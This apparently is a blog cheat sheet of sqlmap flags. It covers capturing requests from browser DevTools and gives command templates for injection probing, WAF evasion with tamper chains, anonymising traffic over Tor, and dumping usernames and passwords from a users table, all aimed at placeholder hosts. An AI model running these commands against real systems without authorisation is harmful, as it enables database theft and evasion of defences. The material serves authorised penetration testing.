sqlmap Cheat Sheet: Every Flag I Actually Use

sqlmap ships with hundreds of flags. I use maybe forty of them regularly. This is the field reference for the ones that matter, grouped by the task I am trying to accomplish, with a short note on when each one is worth reaching for.

If you are new to sqlmap, the sqlmap tutorial walking through an attack against a vulnerable app is the right next stop. If you are comparing tools, the best SQL injection tools list for 2026 covers the alternatives. For the underlying mechanics, the SQL injection deep dive has the full taxonomy.

Quick reference

What req.txt looks like (and how to grab it from your browser)

req.txt is a raw HTTP request file: method line, headers, blank line, body. Most of my commands use -r req.txt because it carries the entire request shape (method, headers, cookies, body) without re-typing. Here is what it actually looks like:

GET /product?id=1 HTTP/1.1
Host: target.example
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9
Accept-Language: en-US,en;q=0.9
Cookie: session=eyJhbGciOiJIUzI1NiJ9...; PHPSESSID=q9k2...
Connection: close

POST requests look the same with the method and body added:

POST /login HTTP/1.1
Host: target.example
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36
Content-Type: application/x-www-form-urlencoded
Content-Length: 29
Cookie: PHPSESSID=q9k2...
Connection: close

username=admin&password=test

No special markers, no per-parameter annotations. sqlmap tests every parameter it finds in the request unless you restrict with -p. Mark a specific injection point with * only if you want to force sqlmap there.

Capturing it from Chrome or Firefox

You do not need Burp Suite for this. The DevTools built into Chrome and Firefox can produce everything sqlmap needs. Two paths, easiest first:

Easiest: save a HAR and skip writing req.txt by hand.

1. Open DevTools: F12 on Windows/Linux, Cmd+Option+I on macOS.
2. Open the Network tab. Enable Preserve log so a navigation does not wipe the captured requests.
3. Trigger the target request in the page (click the link, submit the form, hit the API).
4. Right-click any captured request in the list. In Chrome pick Save all as HAR with content. In Firefox pick Save All As HAR. Save as traffic.har.
5. Point sqlmap at the HAR directly with --har instead of -r:

sqlmap --har=traffic.har --batch

sqlmap lists every request it found in the HAR and asks which one to test. Pick the one carrying the parameter you want to probe. From then on the workflow is identical to the req.txt examples below, just swap -r req.txt for --har=traffic.har.

If you prefer an actual req.txt (worth the extra step when you want to hand-edit headers or insert a * injection-point marker):

1. Same DevTools / Network tab setup.
2. Click the request you want to capture. In Chrome open the Headers tab inside that request's panel; in Firefox the Headers tab is the default.
3. Copy the request method line and every request header into a text file. The browsers display them in the right order already.
4. Add a blank line, then the request body (if any). For POST forms that is the URL-encoded body. For JSON APIs it is the raw JSON.
5. Save as req.txt. Use with -r req.txt in every example below.

If you want a shortcut for the manual path: right-click the request → Copy → Copy as cURL (both browsers support this). The cURL command contains the URL, every header, and the body. You can either run that through a converter (curlconverter --language http <command> from npm, or any online cURL-to-HTTP tool) or just read it and assemble req.txt by hand: cURL's -H "Foo: bar" flags become header lines verbatim, --data 'x=y' becomes the body, and the URL gives you the method line.

Workflow templates

A few command lines I use as starting points and adapt from. The first batch uses the captured request file from the section above. The simpler ones below take a -u URL directly when you just need a quick probe.

Edit the values once and every example updates. The User-Agent dropdown defaults to --random-agent because the literal sqlmap default UA is signatured by every commercial WAF.

Simplest possible probe, just a URL with a query string. Good for a first sanity check before you bother capturing a request:

sqlmap -u ':target_url' --batch :ua --level=:level --risk=:risk

POST request with form data, no req.txt needed. Forces --method=POST because --data is set:

sqlmap -u 'https://target.example/login' \
     --data='username=admin&password=test' \
     --batch :ua --level=:level --risk=:risk

POST with a JSON body (REST APIs). Mark the explicit injection point with * if more than one field is parsable:

sqlmap -u 'https://api.target.example/v1/users/search' \
     --method=POST \
     --headers='Content-Type: application/json' \
     --data='{"q":"foo*","limit":10}' \
     --batch :ua --level=:level --risk=:risk

First pass against a captured request, light touch, defaults, see if anything is obvious:

sqlmap -r req.txt --batch :ua --level=:level --risk=:risk

Authenticated app, scoped to specific parameters (cookies come from req.txt):

sqlmap -r req.txt --batch -p user_id,product_id :ua \
     --level=:level --risk=:risk --threads=:threads

Behind a WAF, slow and quiet (tamper chain layered on top):

sqlmap -r req.txt --batch :ua --delay=:delay --threads=:threads \
     --tamper=between,randomcase,space2comment --time-sec=10

Through Tor, paranoid mode (covered in detail in the sqlmap with Tor and proxychains guide):

sqlmap -r req.txt --batch --tor --tor-type=SOCKS5 --check-tor \
     :ua --delay=:delay --threads=:threads --timeout=60

Once injection is confirmed, the typical enumeration sequence. These take database and table names that vary per target, so they stay non-interactive:

sqlmap -r req.txt --batch --dbms=mysql --current-db
sqlmap -r req.txt --batch --dbms=mysql --tables -D target_db
sqlmap -r req.txt --batch --dbms=mysql --columns -D target_db -T users
sqlmap -r req.txt --batch --dbms=mysql --dump -D target_db -T users -C username,password

--batch keeps it scriptable. --dbms=mysql skips the fingerprint step once you know the answer.

Flags I almost never use

For completeness, a short list of flags that exist but rarely earn their keep in real engagements:

• --predict-output, slows things down without changing results in most cases.
• --crawl=N, sqlmap's own crawler is weak. Use a real crawler (ffuf, hakrawler, gospider) then feed the URLs in.
• --check-internet, adds round trips. If your connection is broken, you will know.

A note on responsible use

Every flag above is dual use. The same --dump that exfiltrates a production user table is the one I run against my own lab targets fifty times a week. Use these against systems you own or are explicitly authorised to test. See the authorisation block at the top and the legal-framing notes in the SQL injection deep dive.